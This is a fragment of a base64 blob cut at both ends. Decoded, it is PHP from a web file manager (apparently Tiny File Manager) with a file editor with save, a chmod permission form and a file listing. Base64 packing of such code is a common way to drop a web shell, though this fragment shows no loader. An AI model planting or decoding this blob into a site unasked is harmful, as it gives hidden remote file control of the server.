0ID0gZmFsc2U7XG4gICAgJGNvbnRlbnQgPSAnJztcblxuICAgIGlmIChpbl9hcnJheSgkZXh0LCBmbV9nZXRfdGV4dF9leHRzKCkpIHx8IHN1YnN0cigkbWltZV90eXBlLCAwLCA0KSA9PSAndGV4dCcgfHwgaW5fYXJyYXkoJG1pbWVfdHlwZSwgZm1fZ2V0X3RleHRfbWltZXMoKSkpIHtcbiAgICAgICAgJGlzX3RleHQgPSB0cnVlO1xuICAgICAgICAkY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlX3BhdGgpO1xuICAgIH1cblxuPz5cbiAgICA8ZGl2IGNsYXNzPVwicGF0aFwiPlxuICAgICAgICA8ZGl2IGNsYXNzPVwicm93XCI+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLXhzLTEyIGNvbC1zbS01IGNvbC1sZy02IHB0LTFcIj5cbiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiYnRuLXRvb2xiYXJcIiByb2xlPVwidG9vbGJhclwiPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoISRpc05vcm1hbEVkaXRvcikgeyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImJ0bi1ncm91cCBqcy1hY2UtdG9vbGJhclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gZGF0YS1jbWQ9XCJub25lXCIgZGF0YS1vcHRpb249XCJmdWxsc2NyZWVuXCIgY2xhc3M9XCJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXNlY29uZGFyeVwiIGlkPVwianMtYWNlLWZ1bGxzY3JlZW5cIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdGdWxsc2NyZWVuJykgPz5cIj48aSBjbGFzcz1cImZhIGZhLWV4cGFuZFwiIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ0Z1bGxzY3JlZW4nKSA/PlwiPjxcL2k+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gZGF0YS1jbWQ9XCJmaW5kXCIgY2xhc3M9XCJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXNlY29uZGFyeVwiIGlkPVwianMtYWNlLXNlYXJjaFwiIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1NlYXJjaCcpID8+XCI+PGkgY2xhc3M9XCJmYSBmYS1zZWFyY2hcIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdTZWFyY2gnKSA/PlwiPjxcL2k+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gZGF0YS1jbWQ9XCJ1bmRvXCIgY2xhc3M9XCJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXNlY29uZGFyeVwiIGlkPVwianMtYWNlLXVuZG9cIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdVbmRvJykgPz5cIj48aSBjbGFzcz1cImZhIGZhLXVuZG9cIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdVbmRvJykgPz5cIj48XC9pPjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGRhdGEtY21kPVwicmVkb1wiIGNsYXNzPVwiYnRuIGJ0bi1zbSBidG4tb3V0bGluZS1zZWNvbmRhcnlcIiBpZD1cImpzLWFjZS1yZWRvXCIgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnUmVkbycpID8+XCI+PGkgY2xhc3M9XCJmYSBmYS1yZXBlYXRcIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdSZWRvJykgPz5cIj48XC9pPjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGRhdGEtY21kPVwibm9uZVwiIGRhdGEtb3B0aW9uPVwid3JhcFwiIGNsYXNzPVwiYnRuIGJ0bi1zbSBidG4tb3V0bGluZS1zZWNvbmRhcnlcIiBpZD1cImpzLWFjZS13b3JkV3JhcFwiIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1dvcmQgV3JhcCcpID8+XCI+PGkgY2xhc3M9XCJmYSBmYS10ZXh0LXdpZHRoXCIgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnV29yZCBXcmFwJykgPz5cIj48XC9pPjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IGlkPVwianMtYWNlLW1vZGVcIiBkYXRhLXR5cGU9XCJtb2RlXCIgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnU2VsZWN0IERvY3VtZW50IFR5cGUnKSA/PlwiIGNsYXNzPVwiYnRuLW91dGxpbmUtc2Vjb25kYXJ5IGJvcmRlci1zdGFydC0wIGQtbm9uZSBkLW1kLWJsb2NrXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24+LS0gPD9waHAgZWNobyBsbmcoJ1NlbGVjdCBNb2RlJykgPz4gLS08XC9vcHRpb24+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvc2VsZWN0PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzZWxlY3QgaWQ9XCJqcy1hY2UtdGhlbWVcIiBkYXRhLXR5cGU9XCJ0aGVtZVwiIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1NlbGVjdCBUaGVtZScpID8+XCIgY2xhc3M9XCJidG4tb3V0bGluZS1zZWNvbmRhcnkgYm9yZGVyLXN0YXJ0LTAgZC1ub25lIGQtbGctYmxvY2tcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbj4tLSA8P3BocCBlY2hvIGxuZygnU2VsZWN0IFRoZW1lJykgPz4gLS08XC9vcHRpb24+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvc2VsZWN0PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzZWxlY3QgaWQ9XCJqcy1hY2UtZm9udFNpemVcIiBkYXRhLXR5cGU9XCJmb250U2l6ZVwiIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1NlbGVjdCBGb250IFNpemUnKSA/PlwiIGNsYXNzPVwiYnRuLW91dGxpbmUtc2Vjb25kYXJ5IGJvcmRlci1zdGFydC0wIGQtbm9uZSBkLWxnLWJsb2NrXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24+LS0gPD9waHAgZWNobyBsbmcoJ1NlbGVjdCBGb250IFNpemUnKSA/PiAtLTxcL29wdGlvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9zZWxlY3Q+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIH0gPz5cbiAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZWRpdC1maWxlLWFjdGlvbnMgY29sLXhzLTEyIGNvbC1zbS03IGNvbC1sZy02IHRleHQtZW5kIHB0LTFcIj5cbiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiYnRuLWdyb3VwXCI+XG4gICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiIDw/cGhwIGVjaG8gbG5nKCdCYWNrJykgPz5cIiBjbGFzcz1cImJ0biBidG4tc20gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PiZhbXA7dmlldz08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSkgPz5cIj48aSBjbGFzcz1cImZhIGZhLXJlcGx5LWFsbFwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdCYWNrJykgPz48XC9hPlxuICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdCYWNrVXAnKSA/PlwiIGNsYXNzPVwiYnRuIGJ0bi1zbSBidG4tb3V0bGluZS1wcmltYXJ5XCIgaHJlZj1cImphdmFzY3JpcHQ6dm9pZCgwKTtcIiBvbmNsaWNrPVwiYmFja3VwKCc8P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PicsJzw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PicpXCI+PGkgY2xhc3M9XCJmYSBmYS1kYXRhYmFzZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdCYWNrVXAnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICgkaXNfdGV4dCkgeyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCRpc05vcm1hbEVkaXRvcikgeyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiQWR2YW5jZWRcIiBjbGFzcz1cImJ0biBidG4tc20gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PiZhbXA7ZWRpdD08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSkgPz4mYW1wO2Vudj1hY2VcIj48aSBjbGFzcz1cImZhIGZhLXBlbmNpbC1zcXVhcmUtb1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdBZHZhbmNlZEVkaXRvcicpID8+PFwvYT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJidXR0b25cIiBjbGFzcz1cImJ0biBidG4tc20gYnRuLXN1Y2Nlc3NcIiBuYW1lPVwiU2F2ZVwiIGRhdGEtdXJsPVwiPD9waHAgZWNobyBmbV9lbmMoJGZpbGVfdXJsKSA/PlwiIG9uY2xpY2s9XCJlZGl0X3NhdmUodGhpcywnbnJsJylcIj48aSBjbGFzcz1cImZhIGZhLWZsb3BweS1vXCI+PFwvaT4gU2F2ZVxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIH0gZWxzZSB7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCJQbGFpbiBFZGl0b3JcIiBjbGFzcz1cImJ0biBidG4tc20gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PiZhbXA7ZWRpdD08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSkgPz5cIj48aSBjbGFzcz1cImZhIGZhLXRleHQtaGVpZ2h0XCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ05vcm1hbEVkaXRvcicpID8+PFwvYT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJidXR0b25cIiBjbGFzcz1cImJ0biBidG4tc20gYnRuLXN1Y2Nlc3NcIiBuYW1lPVwiU2F2ZVwiIGRhdGEtdXJsPVwiPD9waHAgZWNobyBmbV9lbmMoJGZpbGVfdXJsKSA/PlwiIG9uY2xpY2s9XCJlZGl0X3NhdmUodGhpcywnYWNlJylcIj48aSBjbGFzcz1cImZhIGZhLWZsb3BweS1vXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1NhdmUnKSA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIH0gPz5cbiAgICAgICAgICAgICAgICAgICAgPD9waHAgfSA/PlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgPFwvZGl2PlxuICAgICAgICA8P3BocFxuICAgICAgICBpZiAoJGlzX3RleHQgJiYgJGlzTm9ybWFsRWRpdG9yKSB7XG4gICAgICAgICAgICBlY2hvICc8dGV4dGFyZWEgY2xhc3M9XCJtdC0yXCIgaWQ9XCJub3JtYWwtZWRpdG9yXCIgcm93cz1cIjMzXCIgY29scz1cIjEyMFwiIHN0eWxlPVwid2lkdGg6IDk5LjUlO1wiPicgLiBodG1sc3BlY2lhbGNoYXJzKCRjb250ZW50KSAuICc8XC90ZXh0YXJlYT4nO1xuICAgICAgICAgICAgZWNobyAnPHNjcmlwdD5kb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKFwia2V5ZG93blwiLCBmdW5jdGlvbihlKSB7aWYgKCh3aW5kb3cubmF2aWdhdG9yLnBsYXRmb3JtLm1hdGNoKFwiTWFjXCIpID8gZS5tZXRhS2V5IDogZS5jdHJsS2V5KSAgJiYgZS5rZXlDb2RlID09IDgzKSB7IGUucHJldmVudERlZmF1bHQoKTtlZGl0X3NhdmUodGhpcyxcIm5ybFwiKTt9fSwgZmFsc2UpOzxcL3NjcmlwdD4nO1xuICAgICAgICB9IGVsc2VpZiAoJGlzX3RleHQpIHtcbiAgICAgICAgICAgIGVjaG8gJzxkaXYgaWQ9XCJlZGl0b3JcIiBjb250ZW50ZWRpdGFibGU9XCJ0cnVlXCI+JyAuIGh0bWxzcGVjaWFsY2hhcnMoJGNvbnRlbnQpIC4gJzxcL2Rpdj4nO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZJTEUgRVhURU5TSU9OIElTIE5PVCBTVVBQT1JURUQnKSwgJ2Vycm9yJyk7XG4gICAgICAgIH1cbiAgICAgICAgPz5cbiAgICA8XC9kaXY+XG48P3BocFxuICAgIGZtX3Nob3dfZm9vdGVyKCk7XG4gICAgZXhpdDtcbn1cblxuaWYgKGlzc2V0KCRfR0VUWydjaG1vZCddKSAmJiAhRk1fUkVBRE9OTFkgJiYgIUZNX0lTX1dJTikge1xuICAgICRmaWxlID0gJF9HRVRbJ2NobW9kJ107XG4gICAgJGZpbGUgPSBmbV9jbGVhbl9wYXRoKCRmaWxlKTtcbiAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkZmlsZSk7XG4gICAgaWYgKCRmaWxlID09ICcnIHx8ICghaXNfZmlsZSgkcGF0aCAuICdcLycgLiAkZmlsZSkgJiYgIWlzX2RpcigkcGF0aCAuICdcLycgLiAkZmlsZSkpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuXG4gICAgZm1fc2hvd19oZWFkZXIoKTtcbiAgICBmbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpO1xuXG4gICAgJGZpbGVfdXJsID0gRk1fUk9PVF9VUkwgLiAoRk1fUEFUSCAhPSAnJyA/ICdcLycgLiBGTV9QQVRIIDogJycpIC4gJ1wvJyAuICRmaWxlO1xuICAgICRmaWxlX3BhdGggPSAkcGF0aCAuICdcLycgLiAkZmlsZTtcblxuICAgICRtb2RlID0gZmlsZXBlcm1zKCRwYXRoIC4gJ1wvJyAuICRmaWxlKTtcbj8+XG4gICAgPGRpdiBjbGFzcz1cInBhdGhcIj5cbiAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQgbWItMlwiIGRhdGEtYnMtdGhlbWU9XCI8P3BocCBlY2hvIEZNX1RIRU1FOyA/PlwiPlxuICAgICAgICAgICAgPGg2IGNsYXNzPVwiY2FyZC1oZWFkZXJcIj5cbiAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnQ2hhbmdlUGVybWlzc2lvbnMnKSA/PlxuICAgICAgICAgICAgPFwvaDY+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY2FyZC1ib2R5XCI+XG4gICAgICAgICAgICAgICAgPHAgY2xhc3M9XCJjYXJkLXRleHRcIj5cbiAgICAgICAgICAgICAgICAgICAgPD9waHAgJGRpc3BsYXlfcGF0aCA9IGZtX2dldF9kaXNwbGF5X3BhdGgoJGZpbGVfcGF0aCk7ID8+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gJGRpc3BsYXlfcGF0aFsnbGFiZWwnXTsgPz46IDw/cGhwIGVjaG8gJGRpc3BsYXlfcGF0aFsncGF0aCddOyA/Pjxicj5cbiAgICAgICAgICAgICAgICA8XC9wPlxuICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj1cIlwiIG1ldGhvZD1cInBvc3RcIj5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwicFwiIHZhbHVlPVwiPD9waHAgZWNobyBmbV9lbmMoRk1fUEFUSCkgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiY2htb2RcIiB2YWx1ZT1cIjw/cGhwIGVjaG8gZm1fZW5jKCRmaWxlKSA/PlwiPlxuXG4gICAgICAgICAgICAgICAgICAgIDx0YWJsZSBjbGFzcz1cInRhYmxlIGNvbXBhY3QtdGFibGVcIiBkYXRhLWJzLXRoZW1lPVwiPD9waHAgZWNobyBGTV9USEVNRTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxiPjw/cGhwIGVjaG8gbG5nKCdPd25lcicpID8+PFwvYj48XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGI+PD9waHAgZWNobyBsbmcoJ0dyb3VwJykgPz48XC9iPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48Yj48P3BocCBlY2hvIGxuZygnT3RoZXInKSA/PjxcL2I+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90cj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOiByaWdodFwiPjxiPjw/cGhwIGVjaG8gbG5nKCdSZWFkJykgPz48XC9iPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJ1clwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDA0MDApID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJnclwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDAwNDApID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJvclwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDAwMDQpID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvdHI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dHI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHN0eWxlPVwidGV4dC1hbGlnbjogcmlnaHRcIj48Yj48P3BocCBlY2hvIGxuZygnV3JpdGUnKSA/PjxcL2I+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cInV3XCIgdmFsdWU9XCIxXCIgPD9waHAgZWNobyAoJG1vZGUgJiAwMDIwMCkgPyAnIGNoZWNrZWQnIDogJycgPz4+PFwvbGFiZWw+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImd3XCIgdmFsdWU9XCIxXCIgPD9waHAgZWNobyAoJG1vZGUgJiAwMDAyMCkgPyAnIGNoZWNrZWQnIDogJycgPz4+PFwvbGFiZWw+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cIm93XCIgdmFsdWU9XCIxXCIgPD9waHAgZWNobyAoJG1vZGUgJiAwMDAwMikgPyAnIGNoZWNrZWQnIDogJycgPz4+PFwvbGFiZWw+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90cj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOiByaWdodFwiPjxiPjw/cGhwIGVjaG8gbG5nKCdFeGVjdXRlJykgPz48XC9iPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJ1eFwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDAxMDApID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJneFwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDAwMTApID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJveFwiIHZhbHVlPVwiMVwiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDAwMDEpID8gJyBjaGVja2VkJyA6ICcnID8+PjxcL2xhYmVsPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvdHI+XG4gICAgICAgICAgICAgICAgICAgIDxcL3RhYmxlPlxuXG4gICAgICAgICAgICAgICAgICAgIDxwPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGI+PGEgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+XCIgY2xhc3M9XCJidG4gYnRuLW91dGxpbmUtcHJpbWFyeVwiPjxpIGNsYXNzPVwiZmEgZmEtdGltZXMtY2lyY2xlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PFwvYT48XC9iPiZuYnNwO1xuICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJidG4gYnRuLXN1Y2Nlc3NcIj48aSBjbGFzcz1cImZhIGZhLWNoZWNrLWNpcmNsZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdDaGFuZ2UnKSA/PjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgPFwvcD5cbiAgICAgICAgICAgICAgICA8XC9mb3JtPlxuICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICA8XC9kaXY+XG4gICAgPFwvZGl2PlxuPD9waHBcbiAgICBmbV9zaG93X2Zvb3RlcigpO1xuICAgIGV4aXQ7XG59XG5cbmZtX3Nob3dfaGVhZGVyKCk7XG5mbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpO1xuXG5mbV9zaG93X21lc3NhZ2UoKTtcblxuJG51bV9maWxlcyA9IGNvdW50KCRmaWxlcyk7XG4kbnVtX2ZvbGRlcnMgPSBjb3VudCgkZm9sZGVycyk7XG4kYWxsX2ZpbGVzX3NpemUgPSAwO1xuPz5cbjxmb3JtIGFjdGlvbj1cIlwiIG1ldGhvZD1cInBvc3RcIiBjbGFzcz1cInB0LTNcIj5cbiAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJwXCIgdmFsdWU9XCI8P3BocCBlY2hvIGZtX2VuYyhGTV9QQVRIKSA/PlwiPlxuICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImdyb3VwXCIgdmFsdWU9XCIxXCI+XG4gICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PlwiPlxuICAgIDxkaXYgY2xhc3M9XCJ0YWJsZS1yZXNwb25zaXZlXCI+XG4gICAgICAgIDx0YWJsZSBjbGFzcz1cInRhYmxlIHRhYmxlLWJvcmRlcmVkIHRhYmxlLWhvdmVyIHRhYmxlLXNtXCIgaWQ9XCJtYWluLXRhYmxlXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICA8dGhlYWQgY2xhc3M9XCJ0aGVhZC13aGl0ZVwiPlxuICAgICAgICAgICAgICAgIDx0cj5cbiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dGggc3R5bGU9XCJ3aWR0aDozJVwiIGNsYXNzPVwiY3VzdG9tLWNoZWNrYm94LWhlYWRlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjdXN0b20tY29udHJvbCBjdXN0b20tY2hlY2tib3hcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJjaGVja2JveFwiIGNsYXNzPVwiY3VzdG9tLWNvbnRyb2wtaW5wdXRcIiBpZD1cImpzLXNlbGVjdC1hbGwtaXRlbXNcIiBvbmNsaWNrPVwiY2hlY2tib3hfdG9nZ2xlKClcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGNsYXNzPVwiY3VzdG9tLWNvbnRyb2wtbGFiZWxcIiBmb3I9XCJqcy1zZWxlY3QtYWxsLWl0ZW1zXCI+PFwvbGFiZWw+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvdGg+PD9waHAgZW5kaWY7ID8+XG4gICAgICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnTmFtZScpID8+PFwvdGg+XG4gICAgICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnU2l6ZScpID8+PFwvdGg+XG4gICAgICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnTW9kaWZpZWQnKSA/PjxcL3RoPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX0lTX1dJTiAmJiAhJGhpZGVfQ29scyk6ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dGg+PD9waHAgZWNobyBsbmcoJ1Blcm1zJykgPz48XC90aD5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnT3duZXInKSA/PjxcL3RoPjw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgICAgICA8dGg+PD9waHAgZWNobyBsbmcoJ0FjdGlvbnMnKSA/PjxcL3RoPlxuICAgICAgICAgICAgICAgIDxcL3RyPlxuICAgICAgICAgICAgPFwvdGhlYWQ+XG4gICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgaWYgKCRwYXJlbnQgIT09IGZhbHNlKSB7XG4gICAgICAgICAgICA/PlxuICAgICAgICAgICAgICAgIDx0cj48P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz1cIm5vc29ydFwiPjxcL3RkPjw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9XCJib3JkZXItMFwiIGRhdGEtc29ydD48YSBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoJHBhcmVudCkgPz5cIj48aSBjbGFzcz1cImZhIGZhLWNoZXZyb24tY2lyY2xlLWxlZnQgZ28tYmFja1wiPjxcL2k+IC4uPFwvYT48XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwiYm9yZGVyLTBcIiBkYXRhLW9yZGVyPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9XCJib3JkZXItMFwiIGRhdGEtb3JkZXI+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgIDx0ZC